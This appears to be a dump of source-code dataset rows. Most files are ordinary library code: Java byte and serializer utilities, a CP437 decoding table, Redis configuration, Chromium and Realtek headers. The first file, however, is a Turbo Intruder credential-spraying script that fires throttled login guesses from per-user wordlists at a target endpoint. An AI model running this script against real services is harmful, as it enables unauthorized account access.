max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
890
<reponame>kymmie777/Turb-intrudR # Author: https://github.com/abiwaddell # Credential spraying with one wordlist per username. # Full description at https://github.com/abiwaddell/Pinwheel import time # Parameters to configure throttleMillisecs=200 def loadFile(filename): with open(filename) as f: lines = f.readlines() return [x.strip() for x in lines] def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, pipeline=False, engine=Engine.BURP ) for i in range(3,8): engine.queue(target.req, randstr(i), learn=1) engine.queue(target.req, target.baseInput, learn=2) users=loadFile('users.txt') lists = [] for i in range(1,len(users)+1): filename='words'+str(i)+'.txt' words=loadFile(filename) lists.append(words) while lists: i=0 for list in lists: if list: time.sleep(throttleMillisecs/1000) engine.queue(target.req, [users[i],list[0]]) list.remove(list[0]) else: lists.remove(list) users.remove(users[i]) i+=1 def handleResponse(req, interesting): if interesting: table.add(req)
670
464
/* * Copyright 2016 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.geometry; import com.google.common.annotations.GwtCompatible; import java.io.IOException; import java.io.OutputStream; /** Simple utility for writing little endian primitives to a stream. */ @GwtCompatible public final class LittleEndianOutput { private final OutputStream output; /** Constructs a little-endian output that writes to the given stream. */ public LittleEndianOutput(OutputStream output) { this.output = output; } /** Writes a byte. */ public void writeByte(byte value) throws IOException { output.write((int) value); } public void writeBytes(byte[] bytes) throws IOException { output.write(bytes); } /** Writes a little-endian signed integer. */ public void writeInt(int value) throws IOException { output.write(value & 0xFF); output.write((value >> 8) & 0xFF); output.write((value >> 16) & 0xFF); output.write((value >> 24) & 0xFF); } /** Writes a little-endian signed long. */ public void writeLong(long value) throws IOException { output.write((int) (value & 0xFF)); output.write((int) (value >> 8) & 0xFF); output.write((int) (value >> 16) & 0xFF); output.write((int) (value >> 24) & 0xFF); output.write((int) (value >> 32) & 0xFF); output.write((int) (value >> 40) & 0xFF); output.write((int) (value >> 48) & 0xFF); output.write((int) (value >> 56) & 0xFF); } /** Writes a little-endian IEEE754 32-bit float. */ public void writeFloat(float value) throws IOException { writeInt(Float.floatToIntBits(value)); } /** Writes a little-endian IEEE754 64-bit double. */ public void writeDouble(double value) throws IOException { writeLong(Double.doubleToLongBits(value)); } /** * Writes a signed integer using variable encoding with {@link #writeVarint64(long)}. * * @throws IOException if past end of input or error in underlying stream */ public void writeVarint32(int value) throws IOException { writeVarint64(value); } /** * Writes a signed long using variable encoding with {@link * EncodedInts#writeVarint64(OutputStream, long)}. * * @throws IOException if past end of input or error in underlying stream */ public void writeVarint64(long value) throws IOException { EncodedInts.writeVarint64(output, value); } /** Closes the underlying output stream. */ public void close() throws IOException { output.close(); } }
960
504
<filename>dddlib-utils/src/main/java/org/dayatang/utils/ObjectSerializer.java package org.dayatang.utils; /** * 对象序列化器,将Java对象序列化为字符串形式,或者相反,从字符串反序列化为对象。 * Created by yyang on 14-9-16. */ public interface ObjectSerializer { /** * 将对象序列化为字符串 * @param anObject 要序列化的对象 * @return 对象的序列化形式 */ String serialize(Object anObject); /** * 将字符串反序列化为对象 * @param serializedString 对象的字符串序列化形式 * @param objectClass 对象的类 * @param <T> 对象的类型 * @return 一个对象实例 */ <T> T deserialize(String serializedString, Class<T> objectClass); }
419
304
#ifndef CP437DECODE_H #define CP437DECODE_H #include "frame.h" #include <QMap> static QMap<char, QChar> UTF8_CP437_MAP = { { 0x00, 0x002e }, //NULL print as period/full stop { 0x01, 0x263a }, { 0x02, 0x263b }, { 0x03, 0x2665 }, { 0x04, 0x2666 }, { 0x05, 0x2663 }, { 0x06, 0x2660 }, { 0x07, 0x2022 }, { 0x08, 0x25d8 }, { 0x09, 0x25cb }, { 0x0a, 0x25d9 }, { 0x0b, 0x2642 }, { 0x0c, 0x2640 }, { 0x0d, 0x266a }, { 0x0e, 0x266b }, { 0x0f, 0x263c }, { 0x10, 0x25ba }, { 0x11, 0x25c4 }, { 0x12, 0x2195 }, { 0x13, 0x203c }, { 0x14, 0x00b6 }, { 0x15, 0x00a7 }, { 0x16, 0x25ac }, { 0x17, 0x21a8 }, { 0x18, 0x2191 }, { 0x19, 0x2193 }, { 0x1a, 0x2192 }, { 0x1b, 0x2190 }, { 0x1c, 0x221f }, { 0x1d, 0x2194 }, { 0x1e, 0x25b2 }, { 0x1f, 0x25bc }, { 0x20, 0x0020 }, //SPACE { 0x21, 0x0021 }, //EXCLAMATION MARK { 0x22, 0x0022 }, //QUOTATION MARK { 0x23, 0x0023 }, //NUMBER SIGN { 0x24, 0x0024 }, //DOLLAR SIGN { 0x25, 0x0025 }, //PERCENT SIGN { 0x26, 0x0026 }, //AMPERSAND { 0x27, 0x0027 }, //APOSTROPHE { 0x28, 0x0028 }, //LEFT PARENTHESIS { 0x29, 0x0029 }, //RIGHT PARENTHESIS { 0x2a, 0x002a }, //ASTERISK { 0x2b, 0x002b }, //PLUS SIGN { 0x2c, 0x002c }, //COMMA { 0x2d, 0x002d }, //HYPHEN-MINUS { 0x2e, 0x002e }, //FULL STOP { 0x2f, 0x002f }, //SOLIDUS { 0x30, 0x0030 }, //DIGIT ZERO { 0x31, 0x0031 }, //DIGIT ONE { 0x32, 0x0032 }, //DIGIT TWO { 0x33, 0x0033 }, //DIGIT THREE { 0x34, 0x0034 }, //DIGIT FOUR { 0x35, 0x0035 }, //DIGIT FIVE { 0x36, 0x0036 }, //DIGIT SIX { 0x37, 0x0037 }, //DIGIT SEVEN { 0x38, 0x0038 }, //DIGIT EIGHT { 0x39, 0x0039 }, //DIGIT NINE { 0x3a, 0x003a }, //COLON { 0x3b, 0x003b }, //SEMICOLON { 0x3c, 0x003c }, //LESS-THAN SIGN { 0x3d, 0x003d }, //EQUALS SIGN { 0x3e, 0x003e }, //GREATER-THAN SIGN { 0x3f, 0x003f }, //QUESTION MARK { 0x40, 0x0040 }, //COMMERCIAL AT { 0x41, 0x0041 }, //LATIN CAPITAL LETTER A { 0x42, 0x0042 }, //LATIN CAPITAL LETTER B { 0x43, 0x0043 }, //LATIN CAPITAL LETTER C { 0x44, 0x0044 }, //LATIN CAPITAL LETTER D { 0x45, 0x0045 }, //LATIN CAPITAL LETTER E { 0x46, 0x0046 }, //LATIN CAPITAL LETTER F { 0x47, 0x0047 }, //LATIN CAPITAL LETTER G { 0x48, 0x0048 }, //LATIN CAPITAL LETTER H { 0x49, 0x0049 }, //LATIN CAPITAL LETTER I { 0x4a, 0x004a }, //LATIN CAPITAL LETTER J { 0x4b, 0x004b }, //LATIN CAPITAL LETTER K { 0x4c, 0x004c }, //LATIN CAPITAL LETTER L { 0x4d, 0x004d }, //LATIN CAPITAL LETTER M { 0x4e, 0x004e }, //LATIN CAPITAL LETTER N { 0x4f, 0x004f }, //LATIN CAPITAL LETTER O { 0x50, 0x0050 }, //LATIN CAPITAL LETTER P { 0x51, 0x0051 }, //LATIN CAPITAL LETTER Q { 0x52, 0x0052 }, //LATIN CAPITAL LETTER R { 0x53, 0x0053 }, //LATIN CAPITAL LETTER S { 0x54, 0x0054 }, //LATIN CAPITAL LETTER T { 0x55, 0x0055 }, //LATIN CAPITAL LETTER U { 0x56, 0x0056 }, //LATIN CAPITAL LETTER V { 0x57, 0x0057 }, //LATIN CAPITAL LETTER W { 0x58, 0x0058 }, //LATIN CAPITAL LETTER X { 0x59, 0x0059 }, //LATIN CAPITAL LETTER Y { 0x5a, 0x005a }, //LATIN CAPITAL LETTER Z { 0x5b, 0x005b }, //LEFT SQUARE BRACKET { 0x5c, 0x005c }, //REVERSE SOLIDUS { 0x5d, 0x005d }, //RIGHT SQUARE BRACKET { 0x5e, 0x005e }, //CIRCUMFLEX ACCENT { 0x5f, 0x005f }, //LOW LINE { 0x60, 0x0060 }, //GRAVE ACCENT { 0x61, 0x0061 }, //LATIN SMALL LETTER A { 0x62, 0x0062 }, //LATIN SMALL LETTER B { 0x63, 0x0063 }, //LATIN SMALL LETTER C { 0x64, 0x0064 }, //LATIN SMALL LETTER D { 0x65, 0x0065 }, //LATIN SMALL LETTER E { 0x66, 0x0066 }, //LATIN SMALL LETTER F { 0x67, 0x0067 }, //LATIN SMALL LETTER G { 0x68, 0x0068 }, //LATIN SMALL LETTER H { 0x69, 0x0069 }, //LATIN SMALL LETTER I { 0x6a, 0x006a }, //LATIN SMALL LETTER J { 0x6b, 0x006b }, //LATIN SMALL LETTER K { 0x6c, 0x006c }, //LATIN SMALL LETTER L { 0x6d, 0x006d }, //LATIN SMALL LETTER M { 0x6e, 0x006e }, //LATIN SMALL LETTER N { 0x6f, 0x006f }, //LATIN SMALL LETTER O { 0x70, 0x0070 }, //LATIN SMALL LETTER P { 0x71, 0x0071 }, //LATIN SMALL LETTER Q { 0x72, 0x0072 }, //LATIN SMALL LETTER R { 0x73, 0x0073 }, //LATIN SMALL LETTER S { 0x74, 0x0074 }, //LATIN SMALL LETTER T { 0x75, 0x0075 }, //LATIN SMALL LETTER U { 0x76, 0x0076 }, //LATIN SMALL LETTER V { 0x77, 0x0077 }, //LATIN SMALL LETTER W { 0x78, 0x0078 }, //LATIN SMALL LETTER X { 0x79, 0x0079 }, //LATIN SMALL LETTER Y { 0x7a, 0x007a }, //LATIN SMALL LETTER Z { 0x7b, 0x007b }, //LEFT CURLY BRACKET { 0x7c, 0x007c }, //VERTICAL LINE { 0x7d, 0x007d }, //RIGHT CURLY BRACKET { 0x7e, 0x007e }, //TILDE { 0x7f, 0x2302 }, //HOUSE { 0x80, 0x00c7 }, //LATIN CAPITAL LETTER C WITH CEDILLA { 0x81, 0x00fc }, //LATIN SMALL LETTER U WITH DIAERESIS { 0x82, 0x00e9 }, //LATIN SMALL LETTER E WITH ACUTE { 0x83, 0x00e2 }, //LATIN SMALL LETTER A WITH CIRCUMFLEX { 0x84, 0x00e4 }, //LATIN SMALL LETTER A WITH DIAERESIS { 0x85, 0x00e0 }, //LATIN SMALL LETTER A WITH GRAVE { 0x86, 0x00e5 }, //LATIN SMALL LETTER A WITH RING ABOVE { 0x87, 0x00e7 }, //LATIN SMALL LETTER C WITH CEDILLA { 0x88, 0x00ea }, //LATIN SMALL LETTER E WITH CIRCUMFLEX { 0x89, 0x00eb }, //LATIN SMALL LETTER E WITH DIAERESIS { 0x8a, 0x00e8 }, //LATIN SMALL LETTER E WITH GRAVE { 0x8b, 0x00ef }, //LATIN SMALL LETTER I WITH DIAERESIS { 0x8c, 0x00ee }, //LATIN SMALL LETTER I WITH CIRCUMFLEX { 0x8d, 0x00ec }, //LATIN SMALL LETTER I WITH GRAVE { 0x8e, 0x00c4 }, //LATIN CAPITAL LETTER A WITH DIAERESIS { 0x8f, 0x00c5 }, //LATIN CAPITAL LETTER A WITH RING ABOVE { 0x90, 0x00c9 }, //LATIN CAPITAL LETTER E WITH ACUTE { 0x91, 0x00e6 }, //LATIN SMALL LIGATURE AE { 0x92, 0x00c6 }, //LATIN CAPITAL LIGATURE AE { 0x93, 0x00f4 }, //LATIN SMALL LETTER O WITH CIRCUMFLEX { 0x94, 0x00f6 }, //LATIN SMALL LETTER O WITH DIAERESIS { 0x95, 0x00f2 }, //LATIN SMALL LETTER O WITH GRAVE { 0x96, 0x00fb }, //LATIN SMALL LETTER U WITH CIRCUMFLEX { 0x97, 0x00f9 }, //LATIN SMALL LETTER U WITH GRAVE { 0x98, 0x00ff }, //LATIN SMALL LETTER Y WITH DIAERESIS { 0x99, 0x00d6 }, //LATIN CAPITAL LETTER O WITH DIAERESIS { 0x9a, 0x00dc }, //LATIN CAPITAL LETTER U WITH DIAERESIS { 0x9b, 0x00a2 }, //CENT SIGN { 0x9c, 0x00a3 }, //POUND SIGN { 0x9d, 0x00a5 }, //YEN SIGN { 0x9e, 0x20a7 }, //PESETA SIGN { 0x9f, 0x0192 }, //LATIN SMALL LETTER F WITH HOOK { 0xa0, 0x00e1 }, //LATIN SMALL LETTER A WITH ACUTE { 0xa1, 0x00ed }, //LATIN SMALL LETTER I WITH ACUTE { 0xa2, 0x00f3 }, //LATIN SMALL LETTER O WITH ACUTE { 0xa3, 0x00fa }, //LATIN SMALL LETTER U WITH ACUTE { 0xa4, 0x00f1 }, //LATIN SMALL LETTER N WITH TILDE { 0xa5, 0x00d1 }, //LATIN CAPITAL LETTER N WITH TILDE { 0xa6, 0x00aa }, //FEMININE ORDINAL INDICATOR { 0xa7, 0x00ba }, //MASCULINE ORDINAL INDICATOR { 0xa8, 0x00bf }, //INVERTED QUESTION MARK { 0xa9, 0x2310 }, //REVERSED NOT SIGN { 0xaa, 0x00ac }, //NOT SIGN { 0xab, 0x00bd }, //VULGAR FRACTION ONE HALF { 0xac, 0x00bc }, //VULGAR FRACTION ONE QUARTER { 0xad, 0x00a1 }, //INVERTED EXCLAMATION MARK { 0xae, 0x00ab }, //LEFT-POINTING DOUBLE ANGLE QUOTATION MARK { 0xaf, 0x00bb }, //RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK { 0xb0, 0x2591 }, //LIGHT SHADE { 0xb1, 0x2592 }, //MEDIUM SHADE { 0xb2, 0x2593 }, //DARK SHADE { 0xb3, 0x2502 }, //BOX DRAWINGS LIGHT VERTICAL { 0xb4, 0x2524 }, //BOX DRAWINGS LIGHT VERTICAL AND LEFT { 0xb5, 0x2561 }, //BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE { 0xb6, 0x2562 }, //BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE { 0xb7, 0x2556 }, //BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE { 0xb8, 0x2555 }, //BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE { 0xb9, 0x2563 }, //BOX DRAWINGS DOUBLE VERTICAL AND LEFT { 0xba, 0x2551 }, //BOX DRAWINGS DOUBLE VERTICAL { 0xbb, 0x2557 }, //BOX DRAWINGS DOUBLE DOWN AND LEFT { 0xbc, 0x255d }, //BOX DRAWINGS DOUBLE UP AND LEFT { 0xbd, 0x255c }, //BOX DRAWINGS UP DOUBLE AND LEFT SINGLE { 0xbe, 0x255b }, //BOX DRAWINGS UP SINGLE AND LEFT DOUBLE { 0xbf, 0x2510 }, //BOX DRAWINGS LIGHT DOWN AND LEFT { 0xc0, 0x2514 }, //BOX DRAWINGS LIGHT UP AND RIGHT { 0xc1, 0x2534 }, //BOX DRAWINGS LIGHT UP AND HORIZONTAL { 0xc2, 0x252c }, //BOX DRAWINGS LIGHT DOWN AND HORIZONTAL { 0xc3, 0x251c }, //BOX DRAWINGS LIGHT VERTICAL AND RIGHT { 0xc4, 0x2500 }, //BOX DRAWINGS LIGHT HORIZONTAL { 0xc5, 0x253c }, //BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL { 0xc6, 0x255e }, //BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE { 0xc7, 0x255f }, //BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE { 0xc8, 0x255a }, //BOX DRAWINGS DOUBLE UP AND RIGHT { 0xc9, 0x2554 }, //BOX DRAWINGS DOUBLE DOWN AND RIGHT { 0xca, 0x2569 }, //BOX DRAWINGS DOUBLE UP AND HORIZONTAL { 0xcb, 0x2566 }, //BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL { 0xcc, 0x2560 }, //BOX DRAWINGS DOUBLE VERTICAL AND RIGHT { 0xcd, 0x2550 }, //BOX DRAWINGS DOUBLE HORIZONTAL { 0xce, 0x256c }, //BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL { 0xcf, 0x2567 }, //BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE { 0xd0, 0x2568 }, //BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE { 0xd1, 0x2564 }, //BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE { 0xd2, 0x2565 }, //BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE { 0xd3, 0x2559 }, //BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE { 0xd4, 0x2558 }, //BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE { 0xd5, 0x2552 }, //BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE { 0xd6, 0x2553 }, //BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE { 0xd7, 0x256b }, //BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE { 0xd8, 0x256a }, //BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE { 0xd9, 0x2518 }, //BOX DRAWINGS LIGHT UP AND LEFT { 0xda, 0x250c }, //BOX DRAWINGS LIGHT DOWN AND RIGHT { 0xdb, 0x2588 }, //FULL BLOCK { 0xdc, 0x2584 }, //LOWER HALF BLOCK { 0xdd, 0x258c }, //LEFT HALF BLOCK { 0xde, 0x2590 }, //RIGHT HALF BLOCK { 0xdf, 0x2580 }, //UPPER HALF BLOCK { 0xe0, 0x03b1 }, //GREEK SMALL LETTER ALPHA { 0xe1, 0x00df }, //LATIN SMALL LETTER SHARP S { 0xe2, 0x0393 }, //GREEK CAPITAL LETTER GAMMA { 0xe3, 0x03c0 }, //GREEK SMALL LETTER PI { 0xe4, 0x03a3 }, //GREEK CAPITAL LETTER SIGMA { 0xe5, 0x03c3 }, //GREEK SMALL LETTER SIGMA { 0xe6, 0x00b5 }, //MICRO SIGN { 0xe7, 0x03c4 }, //GREEK SMALL LETTER TAU { 0xe8, 0x03a6 }, //GREEK CAPITAL LETTER PHI { 0xe9, 0x0398 }, //GREEK CAPITAL LETTER THETA { 0xea, 0x03a9 }, //GREEK CAPITAL LETTER OMEGA { 0xeb, 0x03b4 }, //GREEK SMALL LETTER DELTA { 0xec, 0x221e }, //INFINITY { 0xed, 0x03c6 }, //GREEK SMALL LETTER PHI { 0xee, 0x03b5 }, //GREEK SMALL LETTER EPSILON { 0xef, 0x2229 }, //INTERSECTION { 0xf0, 0x2261 }, //IDENTICAL TO { 0xf1, 0x00b1 }, //PLUS-MINUS SIGN { 0xf2, 0x2265 }, //GREATER-THAN OR EQUAL TO { 0xf3, 0x2264 }, //LESS-THAN OR EQUAL TO { 0xf4, 0x2320 }, //TOP HALF INTEGRAL { 0xf5, 0x2321 }, //BOTTOM HALF INTEGRAL { 0xf6, 0x00f7 }, //DIVISION SIGN { 0xf7, 0x2248 }, //ALMOST EQUAL TO { 0xf8, 0x00b0 }, //DEGREE SIGN { 0xf9, 0x2219 }, //BULLET OPERATOR { 0xfa, 0x00b7 }, //MIDDLE DOT { 0xfb, 0x221a }, //SQUARE ROOT { 0xfc, 0x207f }, //SUPERSCRIPT LATIN SMALL LETTER N { 0xfd, 0x00b2 }, //SUPERSCRIPT TWO { 0xfe, 0x25a0 }, //BLACK SQUARE { 0xff, 0x0020 } //NO-BREAK SPACE print as space }; QString decodeCp437Bits(const Frame& f, qint64 &bitOffset) { QString frameString = ""; if (bitOffset + 7 >= f.size()) { // partial char frameString += '.'; } else { char byte = 0; for (int bit = 0; bit < 8; bit++) { byte <<= 1; if (f.at(bitOffset + bit)) { byte |= 0x01; } } frameString += UTF8_CP437_MAP.value(byte); } bitOffset += 8; return frameString; } #endif // CP437DECODE_H
6,182
424
#ifndef PODCONVERTERS_H #define PODCONVERTERS_H FASTOR_INLINE T toscalar() const { //! Returns a scalar static_assert(size()==1,"ONLY TENSORS OF SIZE 1 CAN BE CONVERTED TO A SCALAR"); return (*_data); } FASTOR_INLINE std::array<T,size()> toarray() const { //! Returns std::array std::array<T,size()> out; std::copy(_data,_data+size(),out.begin()); return out; } FASTOR_INLINE std::vector<T> tovector() const { //! Returns std::vector std::vector<T> out(size()); std::copy(_data,_data+size(),out.begin()); return out; } #endif //PODCONVERTERS_H
250
880
package com.eudemon.ratelimiter.env; import org.apache.commons.lang3.StringUtils; import org.apache.commons.pool2.impl.GenericObjectPoolConfig; import com.eudemon.ratelimiter.redis.DefaultJedisPoolConfig; /** * Configuration for Redis. * * TODO(zheng): support redis cluster. */ public class RedisConfig { /* connectionTimeout and soTimeout */ public static final int DEFAULT_TIMEOUT = 10; // 10ms /* default redis port */ public static final int DEFAULT_PORT = 6379; private String address; private int timeout = DEFAULT_TIMEOUT; private GenericObjectPoolConfig poolConfig = new DefaultJedisPoolConfig(); public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public int getTimeout() { return timeout; } public void setTimeout(int timeout) { this.timeout = timeout; } public GenericObjectPoolConfig getPoolConfig() { return poolConfig; } public void setPoolConfig(GenericObjectPoolConfig poolConfig) { this.poolConfig = poolConfig; } public void buildFromProperties(PropertySource propertySource) { if (propertySource == null) { return; } String addr = propertySource.getPropertyStringValue(PropertyConstants.PROPERTY_REDIS_ADDRESS); if (StringUtils.isNotBlank(addr)) { this.address = addr; } Integer timeout = propertySource.getPropertyIntValue(PropertyConstants.PROPERTY_REDIS_TIMEOUT); if (timeout != null) { this.timeout = timeout; } Integer maxTotal = propertySource.getPropertyIntValue(PropertyConstants.PROPERTY_REDIS_MAX_TOTAL); if (maxTotal != null) { this.poolConfig.setMaxTotal(maxTotal); } Integer maxIdle = propertySource.getPropertyIntValue(PropertyConstants.PROPERTY_REDIS_MAX_IDLE); if (maxIdle != null) { this.poolConfig.setMaxIdle(maxIdle); } Integer minIdle = propertySource.getPropertyIntValue(PropertyConstants.PROPERTY_REDIS_MIN_IDLE); if (minIdle != null) { this.poolConfig.setMinIdle(minIdle); } Integer maxWaitMillis = propertySource.getPropertyIntValue(PropertyConstants.PROPERTY_REDIS_MAX_WAIT_MILLIS); if (maxWaitMillis != null) { this.poolConfig.setMaxWaitMillis(maxWaitMillis); } Boolean testOnBorrow = propertySource.getPropertyBooleanValue(PropertyConstants.PROPERTY_REDIS_TEST_ON_BORROW); if (testOnBorrow != null) { this.poolConfig.setTestOnBorrow(testOnBorrow); } } }
891
777
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef SERVICES_SERVICE_MANAGER_PUBLIC_CPP_SERVICE_INFO_H_ #define SERVICES_SERVICE_MANAGER_PUBLIC_CPP_SERVICE_INFO_H_ #include <map> #include <string> #include "services/service_manager/public/cpp/identity.h" #include "services/service_manager/public/cpp/interface_provider_spec.h" namespace service_manager { class Identity; struct ServiceInfo { ServiceInfo(); ServiceInfo(const Identity& identity, const InterfaceProviderSpecMap& specs); ServiceInfo(const ServiceInfo& other); ~ServiceInfo(); Identity identity; InterfaceProviderSpecMap interface_provider_specs; }; } // namespace service_manager #endif // SERVICES_SERVICE_MANAGER_PUBLIC_CPP_SERVICE_INFO_H_
267
3,084
<filename>network/wlan/WDI/PLATFORM/NdisComm/NdisDbg.h #ifndef __INC_NDIS_DBG_H #define __INC_NDIS_DBG_H #define BT_H2C_MAX_RETRY 1 #define BT_MAX_C2H_LEN 20 typedef enum _RTL_EXT_C2H_EVT { EXT_C2H_WIFI_FW_ACTIVE_RSP = 0, EXT_C2H_TRIG_BY_BT_FW = 1, MAX_EXT_C2HEVENT }RTL_EXT_C2H_EVT; // OP codes definition between the user layer and driver typedef enum _BT_CTRL_OPCODE_UPPER{ BT_UP_OP_BT_READY = 0x00, BT_UP_OP_BT_SET_MODE = 0x01, BT_UP_OP_BT_SET_TX_RX_PARAMETER = 0x02, BT_UP_OP_BT_SET_GENERAL = 0x03, BT_UP_OP_BT_GET_GENERAL = 0x04, BT_UP_OP_BT_TEST_CTRL = 0x05, BT_UP_OP_MAX }BT_CTRL_OPCODE_UPPER,*PBT_CTRL_OPCODE_UPPER; typedef enum _BT_SET_GENERAL{ BT_GSET_REG = 0x00, BT_GSET_RESET = 0x01, BT_GSET_TARGET_BD_ADDR = 0x02, BT_GSET_TX_PWR_FINETUNE = 0x03, BT_GSET_TRACKING_INTERVAL = 0x04, BT_GSET_THERMAL_METER = 0x05, BT_GSET_CFO_TRACKING = 0x06, BT_GSET_ANT_DETECTION = 0x07, BT_GSET_MAX }BT_SET_GENERAL,*PBT_SET_GENERAL; typedef enum _BT_GET_GENERAL{ BT_GGET_REG = 0x00, BT_GGET_STATUS = 0x01, BT_GGET_REPORT = 0x02, BT_GGET_AFH_MAP = 0x03, BT_GGET_AFH_STATUS = 0x04, BT_GGET_IQK_FLOW = 0x05, BT_GGET_IQK_RESULT = 0x06, BT_GGET_MAX }BT_GET_GENERAL,*PBT_GET_GENERAL; // definition for BT_UP_OP_BT_SET_GENERAL typedef enum _BT_REG_TYPE{ BT_REG_RF = 0, BT_REG_MODEM = 1, BT_REG_BLUEWIZE = 2, BT_REG_VENDOR = 3, BT_REG_LE = 4, BT_REG_MAX }BT_REG_TYPE,*PBT_REG_TYPE; // definition for BT_LO_OP_GET_AFH_MAP typedef enum _BT_AFH_MAP_TYPE{ BT_AFH_MAP_RESULT = 0, BT_AFH_MAP_WIFI_PSD_ONLY = 1, BT_AFH_MAP_WIFI_CH_BW_ONLY = 2, BT_AFH_MAP_BT_PSD_ONLY = 3, BT_AFH_MAP_HOST_CLASSIFICATION_ONLY = 4, BT_AFH_MAP_MAX }BT_AFH_MAP_TYPE,*PBT_AFH_MAP_TYPE; // definition for BT_UP_OP_BT_GET_GENERAL typedef enum _BT_REPORT_TYPE{ BT_REPORT_RX_PACKET_CNT = 0, BT_REPORT_RX_ERROR_BITS = 1, BT_REPORT_RSSI = 2, BT_REPORT_CFO_HDR_QUALITY = 3, BT_REPORT_CONNECT_TARGET_BD_ADDR = 4, BT_REPORT_MAX }BT_REPORT_TYPE,*PBT_REPORT_TYPE; //OP codes definition between driver and bt fw typedef enum _BT_CTRL_OPCODE_LOWER{ BT_LO_OP_GET_BT_VERSION = 0x00, BT_LO_OP_RESET = 0x01, BT_LO_OP_TEST_CTRL = 0x02, BT_LO_OP_SET_BT_MODE = 0x03, BT_LO_OP_SET_CHNL_TX_GAIN = 0x04, BT_LO_OP_SET_PKT_TYPE_LEN = 0x05, BT_LO_OP_SET_PKT_CNT_L_PL_TYPE = 0x06, BT_LO_OP_SET_PKT_CNT_H_PKT_INTV = 0x07, BT_LO_OP_SET_PKT_HEADER = 0x08, BT_LO_OP_SET_WHITENCOEFF = 0x09, BT_LO_OP_SET_BD_ADDR_L = 0x0a, BT_LO_OP_SET_BD_ADDR_H = 0x0b, BT_LO_OP_WRITE_REG_ADDR = 0x0c, BT_LO_OP_WRITE_REG_VALUE = 0x0d, BT_LO_OP_GET_BT_STATUS = 0x0e, BT_LO_OP_GET_BD_ADDR_L = 0x0f, BT_LO_OP_GET_BD_ADDR_H = 0x10, BT_LO_OP_READ_REG = 0x11, BT_LO_OP_SET_TARGET_BD_ADDR_L = 0x12, BT_LO_OP_SET_TARGET_BD_ADDR_H = 0x13, BT_LO_OP_SET_TX_POWER_CALIBRATION = 0x14, BT_LO_OP_GET_RX_PKT_CNT_L = 0x15, BT_LO_OP_GET_RX_PKT_CNT_H = 0x16, BT_LO_OP_GET_RX_ERROR_BITS_L = 0x17, BT_LO_OP_GET_RX_ERROR_BITS_H = 0x18, BT_LO_OP_GET_RSSI = 0x19, BT_LO_OP_GET_CFO_HDR_QUALITY_L = 0x1a, BT_LO_OP_GET_CFO_HDR_QUALITY_H = 0x1b, BT_LO_OP_GET_TARGET_BD_ADDR_L = 0x1c, BT_LO_OP_GET_TARGET_BD_ADDR_H = 0x1d, BT_LO_OP_GET_AFH_MAP_L = 0x1e, BT_LO_OP_GET_AFH_MAP_M = 0x1f, BT_LO_OP_GET_AFH_MAP_H = 0x20, BT_LO_OP_GET_AFH_STATUS = 0x21, BT_LO_OP_SET_TRACKING_INTERVAL = 0x22, BT_LO_OP_SET_THERMAL_METER = 0x23, BT_LO_OP_SET_CFO_TRACKING = 0x24, BT_LO_OP_SET_FW_POLICY_REQ = 0x25, BT_LO_OP_SET_ANT_DETECTION = 0x26, BT_LO_OP_GET_IQK_FLOW = 0x27, BT_LO_OP_GET_IQK_RESULT = 0x28, BT_LO_OP_MAX }BT_CTRL_OPCODE_LOWER,*PBT_CTRL_OPCODE_LOWER; //OP codes definition between driver and bt stack typedef enum _BT_CTRL_OPCODE_STACK{ BT_STACK_OP_GET_BT_VERSION = 0x00, BT_STACK_OP_IGNORE_WLAN_ACTIVE_CTRL = 0x01, BT_STACK_OP_LNA_CONSTRAIN_CTRL = 0x02, BT_STACK_OP_BT_POWER_DEC_CTRL = 0x03, BT_STACK_OP_BT_PSD_MODE_CTRL = 0x04, BT_STACK_OP_BT_WIFI_BW_CHNL_NOTIFY = 0x05, BT_STACK_OP_QUERY_BT_AFH_MAP = 0x06, BT_STACK_OP_BT_REGISTER_ACCESS = 0x07, BT_STACK_OP_MAX }BT_CTRL_OPCODE_STACK,*PBT_CTRL_OPCODE_STACK; // return status definition to the user layer typedef enum _BT_CTRL_STATUS{ BT_STATUS_SUCCESS = 0x00, // Success BT_STATUS_BT_OP_SUCCESS = 0x01, // bt fw op execution success BT_STATUS_H2C_SUCCESS = 0x02, // H2c success BT_STATUS_H2C_TIMTOUT = 0x03, // H2c timeout BT_STATUS_H2C_BT_NO_RSP = 0x04, // H2c sent, bt no rsp BT_STATUS_C2H_SUCCESS = 0x05, // C2h success BT_STATUS_C2H_REQNUM_MISMATCH = 0x06, // bt fw wrong rsp BT_STATUS_OPCODE_U_VERSION_MISMATCH = 0x07, // Upper layer OP code version mismatch. BT_STATUS_OPCODE_L_VERSION_MISMATCH = 0x08, // Lower layer OP code version mismatch. BT_STATUS_UNKNOWN_OPCODE_U = 